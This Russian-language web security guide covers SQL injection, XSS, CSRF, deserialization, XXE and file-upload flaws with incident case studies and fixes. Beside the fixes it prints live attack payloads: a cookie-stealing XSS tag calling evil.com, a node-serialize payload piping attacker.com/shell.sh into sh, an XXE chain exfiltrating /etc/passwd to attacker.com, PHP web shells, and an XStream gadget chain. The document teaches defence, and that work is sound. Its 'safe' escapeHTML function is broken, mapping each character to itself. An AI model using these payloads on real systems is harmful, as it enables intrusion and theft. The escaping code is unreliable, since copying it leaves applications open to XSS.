Полное руководство по безопасности веб-приложений: уязвимости, реальные кейсы имеры защиты
В современном мире веб-приложения стали неотъемлемой частью бизнес-процессов и повседневной жизни. Однако с ростом их значимости растет и количество угроз. По данным отчета Verizon Data Breach Investigations Report, более 43% всех взломов нацелены именно на веб-приложения.
Это руководство предназначено для разработчиков, тестировщиков безопасности и руководителей IT-отделов, которые хотят защитить свои веб-приложения от современных угроз. Мы рассмотрим наиболее распространенные уязвимости, приведем реальные примеры их эксплуатации и предложим эффективные меры защиты.
SQL-инъекции
SQL-инъекция остается одной из самых опасных и распространенных уязвимостей веб-приложений. Она позволяет злоумышленнику внедрить вредоносный SQL-код в запросы, которые приложение отправляет в базу данных.
Примеры атак
1. Взлом компании Heartland Payment Systems (2008)
Один из крупнейших процессоров платежных карт в США подвергся атаке с использованием SQL-инъекции. Злоумышленники внедрили вредоносный код, который собирал данные платежных карт при их обработке. В результате были скомпрометированы более 130 миллионов карт, а компания понесла убытки в размере более $140 миллионов.
Техника атаки: Злоумышленники использовали SQL-инъекцию для внедрения кода, который создавал бэкдор в системе. Через этот бэкдор они получили доступ к внутренней сети и установили снифферы для перехвата данных карт.
2. Взлом Sony Pictures (2011)
Хакерская группа LulzSec взломала базу данных Sony Pictures с помощью простой SQL-инъекции. Они получили доступ к личным данным более 1 миллиона пользователей, включая пароли, адреса электронной почты, домашние адреса и даты рождения.
Техника атаки: Атакующие обнаружили уязвимый параметр в URL и использовали простую инъекцию вида ' OR 1=1 --, чтобы получить доступ ко всем записям в базе данных.
3. Взлом Yahoo (2012)
Хакерская группа D33Ds Company опубликовала около 450 000 логинов и паролей пользователей Yahoo Voice, полученных с помощью SQL-инъекции.
Техника атаки: Злоумышленники использовали технику UNION-based SQL injection для извлечения данных из таблицы пользователей. Они смогли обойти фильтрацию, используя кодирование и обфускацию своих запросов.
Меры защиты
1. Использование подготовленных запросов (Prepared Statements)
Подготовленные запросы разделяют SQL-код и данные, что делает SQL-инъекции практически невозможными.
<?php
// Небезопасный код
$query = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "' AND password = '" . $_POST['password'] . "'";
// Безопасный код с использованием PDO в PHP
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$_POST['username'], $_POST['password']]);
?>
2. ORM-фреймворки
Использование ORM (Object-Relational Mapping) фреймворков, таких как Hibernate для Java, Entity Framework для .NET или Eloquent для PHP, значительно снижает риск SQL-инъекций, так как они автоматически экранируют параметры.
// Пример с использованием Sequelize (Node.js ORM)
const user = await User.findOne({
where: {
username: req.body.username,
password: req.body.password
}
});
3. Принцип наименьших привилегий
Ограничение прав доступа учетной записи базы данных, используемой веб-приложением, может значительно снизить ущерб от успешной SQL-инъекции.
-- Создание пользователя с ограниченными правами
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT, INSERT, UPDATE ON app_database.* TO 'webapp'@'localhost';
-- Не предоставляем права на DROP, ALTER, CREATE и т.д.
Межсайтовый скриптинг (XSS)
XSS-атаки позволяют злоумышленникам внедрять вредоносные скрипты в веб-страницы, которые просматривают другие пользователи. Эти скрипты могут похищать куки сессий, перенаправлять пользователей на фишинговые сайты или выполнять действия от имени пользователя.
Примеры атак
1. Атака на Twitter (2010)
В 2010 году на Twitter была обнаружена XSS-уязвимость, которая позволяла выполнять JavaScript-код при наведении курсора на определенные твиты. Эта уязвимость была быстро использована для создания червя, который автоматически ретвитил себя.
Техника атаки: Злоумышленники использовали функцию onMouseOver и CSS-свойства для внедрения JavaScript-кода, который выполнялся, когда пользователь наводил курсор на зараженный твит.
<a href="#" onmouseover="document.getElementById('status').value='RT @attacker: Vulnerable tweet';$('.status-update-form').submit();">Hover me</a>
2. Взлом MySpace (Samy Worm, 2005)
Один из самых известных XSS-червей был создан Сэми Камкаром и распространялся через социальную сеть MySpace. Червь добавлял фразу "Samy is my hero" в профили пользователей и отправлял запросы дружбы Сэми. За 24 часа червь заразил более 1 миллиона профилей.
Техника атаки: Сэми обошел фильтры MySpace, используя необычный синтаксис JavaScript и CSS. Он внедрил код, который выполнялся при просмотре его профиля и копировал себя в профиль посетителя.
var ajax = new XMLHttpRequest();
ajax.open('POST', 'update_profile.php', true);
ajax.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
ajax.send('content=Samy is my hero' + payload);
3. Атака на eBay (2014)
В 2014 году на eBay была обнаружена XSS-уязвимость, которая позволяла злоумышленникам создавать аукционы с вредоносным JavaScript-кодом. Когда пользователи просматривали такие аукционы, код выполнялся в их браузерах.
Техника атаки: Злоумышленники использовали уязвимость в функции создания аукциона, которая позволяла внедрять JavaScript в описание товара. Они обходили фильтры, используя кодирование и разделение кода на части.
<img src="x" onerror="$.get('https://evil.com/steal?cookie='+document.cookie)">
Меры защиты
1. Экранирование вывода данных
Всегда экранируйте данные, которые выводятся на страницу, особенно если они получены от пользователей.
// Небезопасный код
document.getElementById('userContent').innerHTML = userInput;
// Безопасный код
function escapeHTML(str) {
return str.replace(/[&<>"']/g, function(match) {
return {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
}[match];
});
}
document.getElementById('userContent').textContent = userInput; // Еще безопаснее
2. Content Security Policy (CSP)
CSP позволяет указать, какие источники контента браузер должен считать безопасными, и блокирует выполнение скриптов из других источников.
<!-- Добавление в HTTP-заголовки -->
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
<!-- Или через мета-тег -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://trusted-cdn.com;">
3. Использование современных фреймворков
Современные JavaScript-фреймворки, такие как React, Angular и Vue, автоматически экранируют данные перед выводом, что значительно снижает риск XSS-атак.
// React автоматически экранирует данные
function UserProfile({ user }) {
return <div>{user.name}</div>; // Безопасно
}
// Если нужно вставить HTML, используйте dangerouslySetInnerHTML с осторожностью
function RawHTML({ content }) {
return <div dangerouslySetInnerHTML={{ __html: sanitizeHTML(content) }} />;
}
Межсайтовая подделка запросов (CSRF)
CSRF-атаки позволяют злоумышленнику заставить аутентифицированного пользователя выполнить нежелательное действие на веб-сайте, где пользователь уже аутентифицирован. Атака использует тот факт, что браузер автоматически отправляет куки сессии с каждым запросом к соответствующему сайту.
Примеры атак
1. Атака на YouTube (2008)
В 2008 году была обнаружена CSRF-уязвимость на YouTube, которая позволяла злоумышленникам добавлять видео в плейлисты пользователей, подписывать их на каналы и отправлять сообщения от их имени.
Техника атаки: Злоумышленники создавали специальные веб-страницы с скрытыми формами, которые автоматически отправлялись при загрузке страницы. Когда пользователь, аутентифицированный на YouTube, посещал такую страницу, форма отправлялась с его куками, выполняя действие от его имени.
<form action="https://youtube.com/add_friend" method="POST" id="csrf-form">
<input type="hidden" name="friend_id" value="attacker_id">
</form>
<script>document.getElementById('csrf-form').submit();</script>
2. Атака на Netflix (2006)
В 2006 году исследователь безопасности обнаружил CSRF-уязвимость в Netflix, которая позволяла изменять данные учетной записи пользователя, включая адрес электронной почты и пароль.
Техника атаки: Злоумышленник создавал веб-страницу с скрытым iframe, который загружал форму изменения пароля Netflix и автоматически отправлял ее с новыми данными.
<iframe style="display:none" name="csrf-frame"></iframe>
<form action="https://netflix.com/account/change-password" method="POST" target="csrf-frame" id="csrf-form">
<input type="hidden" name="new_password" value="hacked123">
<input type="hidden" name="confirm_password" value="hacked123">
</form>
<script>document.getElementById('csrf-form').submit();</script>
3. Атака на роутеры (2014)
В 2014 году была обнаружена массовая CSRF-атака на домашние роутеры, которая изменяла их DNS-настройки, перенаправляя пользователей на вредоносные сайты.
Техника атаки: Злоумышленники размещали скрытые iframe на популярных сайтах, которые отправляли запросы на изменение DNS-настроек на стандартный IP-адрес роутера (обычно 192.168.1.1). Если пользователь был аутентифицирован в панели управления роутером, запрос выполнялся успешно.
<iframe style="display:none" src="http://192.168.1.1/dns_config?primary_dns=8.8.8.8&secondary_dns=8.8.4.4"></iframe>
Меры защиты
1. CSRF-токены
Включение уникального токена в каждую форму и проверка этого токена на сервере при получении запроса.
<?php
// PHP-код для генерации CSRF-токена
session_start();
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
$csrf_token = $_SESSION['csrf_token'];
?>
// HTML-форма с CSRF-токеном
<form method="POST" action="/change_password">
<input type="hidden" name="csrf_token" value="<?php echo $csrf_token; ?>">
<input type="password" name="new_password">
<button type="submit">Change Password</button>
</form>
<?php
// Проверка токена на сервере
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('CSRF attack detected');
}
?>
2. Same-Site куки
Установка атрибута SameSite для куки предотвращает их отправку при переходе с других сайтов.
<?php
// PHP-код для установки Same-Site куки
setcookie('session_id', $session_id, [
'expires' => time() + 3600,
'path' => '/',
'domain' => 'example.com',
'secure' => true,
'httponly' => true,
'samesite' => 'Strict' // или 'Lax'
]);
?>
3. Проверка заголовка Referer
Проверка заголовка Referer может помочь определить, откуда пришел запрос, и блокировать запросы с неизвестных источников.
<?php
// PHP-код для проверки Referer
$referer = $_SERVER['HTTP_REFERER'] ?? '';
$allowed_domains = ['example.com', 'sub.example.com'];
$referer_host = parse_url($referer, PHP_URL_HOST);
if (!in_array($referer_host, $allowed_domains)) {
die('Suspicious request detected');
}
?>
Уязвимости аутентификации и управления сессиями
Уязвимости в системах аутентификации и управления сессиями могут привести к компрометации учетных записей пользователей и несанкционированному доступу к данным.
Примеры атак
1. Взлом Dropbox (2012)
В 2012 году Dropbox подтвердил утечку данных, которая произошла из-за повторного использования пароля сотрудником компании. Злоумышленники получили доступ к документу, содержащему адреса электронной почты пользователей, и использовали его для фишинговых атак.
Техника атаки: Злоумышленники использовали пароль, который сотрудник Dropbox использовал на другом взломанном сайте. Поскольку пароль был одинаковым, они смогли получить доступ к корпоративной сети Dropbox.
2. Взлом Yahoo (2013-2014)
Один из крупнейших взломов в истории затронул все 3 миллиарда учетных записей Yahoo. Злоумышленники получили доступ к именам пользователей, адресам электронной почты, телефонным номерам, датам рождения и хешированным паролям.
Техника атаки: Атакующие использовали комбинацию методов, включая фишинг, для получения учетных данных сотрудников. После проникновения в систему они обнаружили уязвимость в управлении сессиями, которая позволила им создавать поддельные куки для доступа к учетным записям пользователей без знания паролей.
3. Взлом Equifax (2017)
В 2017 году кредитное бюро Equifax подверглось масштабной атаке, в результате которой были скомпрометированы личные данные более 147 миллионов американцев, включая номера социального страхования, даты рождения и адреса.
Техника атаки: Злоумышленники использовали уязвимость в Apache Struts (CVE-2017-5638) для получения первоначального доступа. Затем они обнаружили, что учетные данные для доступа к базам данных хранились в незашифрованном виде, что позволило им получить доступ к конфиденциальным данным.
Меры защиты
1. Многофакторная аутентификация (MFA)
Внедрение MFA значительно повышает безопасность учетных записей, даже если пароль скомпрометирован.
// Пример реализации TOTP (Time-based One-Time Password) в Node.js
const speakeasy = require('speakeasy');
// Генерация секрета для пользователя
const secret = speakeasy.generateSecret({ length: 20 });
// Проверка кода при аутентификации
const verified = speakeasy.totp.verify({
secret: user.secret,
encoding: 'base32',
token: req.body.token,
window: 1 // Допустимое отклонение во времени
});
if (verified) {
// Аутентификация успешна
} else {
// Отказ в доступе
}
2. Безопасное хранение паролей
Использование современных алгоритмов хеширования с солью для хранения паролей.
<?php
// PHP-код для безопасного хранения паролей
// Хеширование пароля при регистрации
$hashed_password = password_hash($password, PASSWORD_ARGON2ID, [
'memory_cost' => 1024,
'time_cost' => 2,
'threads' => 2
]);
// Проверка пароля при входе
if (password_verify($password, $hashed_password)) {
// Пароль верный
} else {
// Пароль неверный
}
?>
3. Безопасное управление сессиями
Правильная настройка параметров сессий и регулярная регенерация идентификаторов сессий.
<?php
// PHP-код для безопасного управления сессиями
// Настройка параметров сессии
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1);
ini_set('session.use_only_cookies', 1);
ini_set('session.cookie_samesite', 'Strict');
// Начало сессии
session_start();
// Регенерация ID сессии при входе в систему
if ($login_successful) {
session_regenerate_id(true);
$_SESSION['user_id'] = $user_id;
$_SESSION['last_activity'] = time();
}
// Проверка таймаута сессии
if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity'] > 1800)) {
// Сессия истекла (30 минут неактивности)
session_unset();
session_destroy();
}
$_SESSION['last_activity'] = time();
?>
Небезопасная десериализация
Небезопасная десериализация возникает, когда приложение принимает сериализованные объекты из ненадежных источников и десериализует их без надлежащей проверки. Это может привести к выполнению произвольного кода, обходу аутентификации и другим серьезным уязвимостям.
Примеры атак
1. Атака на Jenkins (2015)
В 2015 году в Jenkins была обнаружена критическая уязвимость десериализации (CVE-2015-8103), которая позволяла удаленным злоумышленникам выполнять произвольный код на сервере.
Техника атаки: Злоумышленники отправляли специально сформированные сериализованные Java-объекты на сервер Jenkins. При десериализации этих объектов выполнялся вредоносный код, который позволял получить полный контроль над сервером.
// Пример создания вредоносного сериализованного объекта
public class ExploitObject implements Serializable {
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec("cmd /c calc.exe"); // Выполнение произвольной команды
}
}
2. Атака на PayPal (2017)
В 2017 году исследователь безопасности обнаружил уязвимость десериализации в Node.js-приложении PayPal, которая позволяла выполнять произвольный код на сервере.
Техника атаки: Злоумышленник отправлял специально сформированный сериализованный объект JavaScript, который при десериализации с помощью библиотеки node-serialize выполнял произвольный код.
// Пример вредоносного сериализованного объекта для node-serialize
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'curl http://attacker.com/shell.sh | sh\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
3. Атака на Apache Struts (2017)
Уязвимость десериализации в Apache Struts (CVE-2017-9805) позволяла удаленным злоумышленникам выполнять произвольный код на серверах, использующих этот фреймворк.
Техника атаки: Злоумышленники отправляли специально сформированный XML-контент, который при десериализации с помощью XStream выполнял произвольный код.
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>calc.exe</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
Меры защиты
1. Использование безопасных форматов сериализации
Вместо нативной сериализации языка программирования используйте более безопасные форматы, такие как JSON или YAML, с явной проверкой типов.
// Вместо Java-сериализации
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NONE); // Отключение полиморфной десериализации
User user = mapper.readValue(json, User.class);
2. Проверка целостности данных
Добавление цифровой подписи к сериализованным данным для проверки их целостности и происхождения.
<?php
// PHP-код для подписи сериализованных данных
function serializeAndSign($data, $secret_key) {
$serialized = serialize($data);
$signature = hash_hmac('sha256', $serialized, $secret_key);
return base64_encode($signature . $serialized);
}
function verifyAndUnserialize($data, $secret_key) {
$data = base64_decode($data);
$signature_length = 64; // SHA-256 в hex-формате
$signature = substr($data, 0, $signature_length);
$serialized = substr($data, $signature_length);
$expected_signature = hash_hmac('sha256', $serialized, $secret_key);
if (hash_equals($expected_signature, $signature)) {
return unserialize($serialized);
} else {
throw new Exception("Invalid signature");
}
}
?>
3. Использование белых списков классов
Ограничение классов, которые могут быть десериализованы, с помощью белых списков.
// Java-код с использованием белого списка классов для десериализации
public class SecureObjectInputStream extends ObjectInputStream {
private final Set<String> allowedClasses = new HashSet<>(Arrays.asList(
"com.example.SafeClass1",
"com.example.SafeClass2"
));
public SecureObjectInputStream(InputStream in) throws IOException {
super(in);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
if (!allowedClasses.contains(className)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
return super.resolveClass(desc);
}
}
XML-инъекции и XXE-атаки
XML-инъекции и XXE (XML External Entity) атаки используют уязвимости в обработке XML-данных. XXE-атаки позволяют злоумышленникам читать локальные файлы, выполнять SSRF-атаки и даже удаленное выполнение кода в некоторых случаях.
Примеры атак
1. Атака на Facebook (2014)
В 2014 году исследователь безопасности обнаружил XXE-уязвимость в Facebook, которая позволяла читать локальные файлы на серверах компании.
Техника атаки: Злоумышленник отправил специально сформированный XML-документ с внешними сущностями, который при обработке позволял читать системные файлы.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
2. Атака на Atlassian Jira (2019)
В 2019 году в Jira была обнаружена XXE-уязвимость (CVE-2019-8442), которая позволяла удаленным злоумышленникам читать локальные файлы на серверах.
Техника атаки: Злоумышленники отправляли специально сформированные XML-запросы к эндпоинту /secure/ConfigurePortalPages.jspa, который обрабатывал XML без должной проверки.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/shadow" >
]>
<foo>&xxe;</foo>
3. Атака на PayPal (2013)
В 2013 году исследователь безопасности обнаружил XXE-уязвимость в PayPal, которая позволяла читать локальные файлы на серверах компании.
Техника атаки: Злоумышленник использовал XXE для чтения конфиденциальных файлов, включая конфигурационные файлы с учетными данными.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<data>&send;</data>
<!-- evil.dtd на сервере злоумышленника -->
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/collect?data=%file;'>">
%all;
Меры защиты
1. Отключение внешних сущностей
Настройка XML-парсера для отключения обработки внешних сущностей.
// Java-код для безопасной настройки XML-парсера
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder builder = dbf.newDocumentBuilder();
Document doc = builder.parse(inputStream);
2. Использование альтернативных форматов
Использование JSON или других форматов вместо XML, где это возможно.
// Пример обработки JSON вместо XML в Node.js
const express = require('express');
const app = express();
app.use(express.json());
app.post('/api/data', (req, res) => {
const data = req.body; // Безопасная обработка JSON
// Обработка данных
res.json({ success: true });
});
3. Валидация входных данных
Проверка XML-данных перед их обработкой с использованием схем и белых списков.
# Python-код для валидации XML с использованием схемы XSD
from lxml import etree
# Загрузка схемы XSD
schema_root = etree.parse('schema.xsd')
schema = etree.XMLSchema(schema_root)
# Парсинг и валидация XML
parser = etree.XMLParser(resolve_entities=False)
try:
xml_doc = etree.parse(xml_input, parser)
if schema.validate(xml_doc):
# XML валиден, можно обрабатывать
process_xml(xml_doc)
else:
# XML не соответствует схеме
raise ValueError("Invalid XML format")
except etree.XMLSyntaxError:
# Ошибка синтаксиса XML
raise ValueError("Malformed XML")
Уязвимости загрузки файлов
Небезопасная загрузка файлов может привести к выполнению вредоносного кода на сервере, межсайтовому скриптингу и другим атакам.
Примеры атак
1. Взлом WordPress-сайтов (2017)
В 2017 году была обнаружена массовая атака на WordPress-сайты, использующая уязвимость в плагине WP MultiFile Uploader, которая позволяла загружать и выполнять PHP-файлы.
Техника атаки: Злоумышленники загружали PHP-шеллы, замаскированные под изображения, используя специальные HTTP-запросы, которые обходили проверку типа файла.
POST /wp-content/plugins/wp-multifile-uploader/upload.php HTTP/1.1
Host: vulnerable-site.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="image.jpg.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
2. Атака на LinkedIn (2012)
В 2012 году исследователь безопасности обнаружил уязвимость в системе загрузки файлов LinkedIn, которая позволяла загружать и выполнять произвольные файлы.
Техника атаки: Злоумышленник загружал файл с двойным расширением (например, file.jpg.php), который проходил проверку как изображение, но выполнялся сервером как PHP-скрипт.
// Пример вредоносного файла с полиморфным содержимым
GIF89a;
<?php
// Код выглядит как GIF-файл для проверок MIME-типа
// но содержит PHP-код, который будет выполнен
system($_GET['cmd']);
?>
3. Атака на Joomla (2015)
В 2015 году была обнаружена уязвимость в компоненте загрузки медиафайлов Joomla, которая позволяла загружать и выполнять вредоносные файлы.
Техника атаки: Злоумышленники использовали уязвимость в проверке MIME-типа, загружая файлы с вредоносным содержимым, но правильными заголовками MIME.
POST /administrator/index.php?option=com_media&task=file.upload HTTP/1.1
Host: vulnerable-joomla-site.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="Filedata"; filename="shell.php"
Content-Type: image/gif
GIF89a;
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
Меры защиты
1. Проверка типа и содержимого файла
Проверка не только расширения, но и содержимого файла для определения его реального типа.
<?php
// PHP-код для проверки типа изображения
function isValidImage($file) {
// Проверка MIME-типа
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($file['tmp_name']);
$allowed_mimes = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($mime, $allowed_mimes)) {
return false;
}
// Дополнительная проверка содержимого
$image_info = getimagesize($file['tmp_name']);
if ($image_info === false) {
return false;
}
return true;
}
?>
2. Изменение имени и хранение файлов
Изменение имени загруженного файла и хранение его вне корня веб-сервера.
<?php
// PHP-код для безопасного сохранения файла
function saveUploadedFile($file) {
// Генерация случайного имени
$extension = pathinfo($file['name'], PATHINFO_EXTENSION);
$new_name = bin2hex(random_bytes(16)) . '.' . $extension;
// Путь для сохранения (вне корня веб-сервера)
$upload_dir = '/var/uploads/';
$upload_path = $upload_dir . $new_name;
// Перемещение файла
if (move_uploaded_file($file['tmp_name'], $upload_path)) {
// Сохранение информации о файле в базе данных
saveFileInfoToDatabase($new_name, $file['name']);
return $new_name;
}
return false;
}
?>
3. Настройка веб-сервера
Настройка веб-сервера для запрета выполнения скриптов в директориях с загруженными файлами.
# Конфигурация Apache для запрета выполнения скриптов в директории uploads
<Directory "/var/www/html/uploads">
Options -ExecCGI
AddHandler cgi-script .php .pl .py .jsp .asp .aspx .sh .cgi
php_flag engine off
<FilesMatch "\.(?i:php|pl|py|jsp|asp|aspx|sh|cgi)$">
Order allow,deny
Deny from all
</FilesMatch>
</Directory>
Заключение: Комплексный подход к безопасности веб-приложений
Современные веб-приложения сталкиваются с множеством угроз, от SQL-инъекций и XSS до CSRF и уязвимостей десериализации. Как показали реальные кейсы (взломы Yahoo, LinkedIn, Equifax и других компаний), даже крупные организации могут стать жертвами атак из-за относительно простых уязвимостей.
Ключевые выводы:
Безопасность – это непрерывный процесс, а не разовое мероприятие. Внедряя описанные в этом руководстве меры (подготовленные запросы, CSP, CSRF-токены, MFA и другие), вы значительно снизите риски для своих веб-приложений.